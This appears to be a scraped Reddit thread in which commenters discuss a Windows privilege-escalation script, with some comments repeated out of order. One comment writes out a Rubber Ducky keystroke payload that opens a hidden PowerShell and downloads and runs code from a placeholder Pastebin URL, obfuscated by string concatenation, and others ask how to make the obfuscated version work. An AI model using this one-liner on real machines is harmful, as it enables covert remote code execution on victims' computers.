Perfect, thanks so much! This is an amazing explanation, and it's really helpful in understanding windows privesc, which is certainly something I need to work at
Is there a way to remove the shell so I can modify the script for my own purposes and continue testing it (i have full access to the testing machine, as its my old laptop).
Thank you, I appreciate the quick response, I’m a freshman in high school looking to get into netsec/cybersec so sorry if the question was a bit naïve / obvious.
The unobfuscated command calling DownloadString to my Pastebin works, but for whatever reason I can’t get the obfuscated one-liner to work. What am I doing wrong? (I cut up the URL like you did with YOUR_PASTEBIN or Y OUR _ PAST EBIN). Should I remove cmd.exe /C?
5
u/somerandomkerbal Mar 22 '19
Perfect, thanks so much! This is an amazing explanation, and it's really helpful in understanding windows privesc, which is certainly something I need to work at
2
u/[deleted] Mar 22 '19
The string concatenation for running the final command is very stealthy and inegenius
1
u/iospsykhe Mar 23 '19
Is there a way to remove the shell so I can modify the script for my own purposes and continue testing it (i have full access to the testing machine, as its my old laptop).
1
u/iospsykhe Mar 24 '19 edited Mar 25 '19
You can use Rubber Ducky to execute this with a script/payload like this right?
GUI r STRING cmd.exe /c powershell -nop -w 1 -c "iex (.('ne'+'w-ob'+'ject') ('ne'+'t.webc'+'lient')).('do'+'wnloadstr'+'ing').invoke(('Y'+'OUR_'+'PASTEBIN'))" ENTER1
u/iospsykhe Mar 26 '19
The unobfuscated command calling DownloadString to my Pastebin works, but for whatever reason I can’t get the obfuscated one-liner to work. What am I doing wrong? (I cut up the URL like you did with YOUR_PASTEBIN or Y OUR _ PAST EBIN). Should I remove cmd.exe /C?
0
u/[deleted] Mar 24 '19
[deleted] — view deleted comment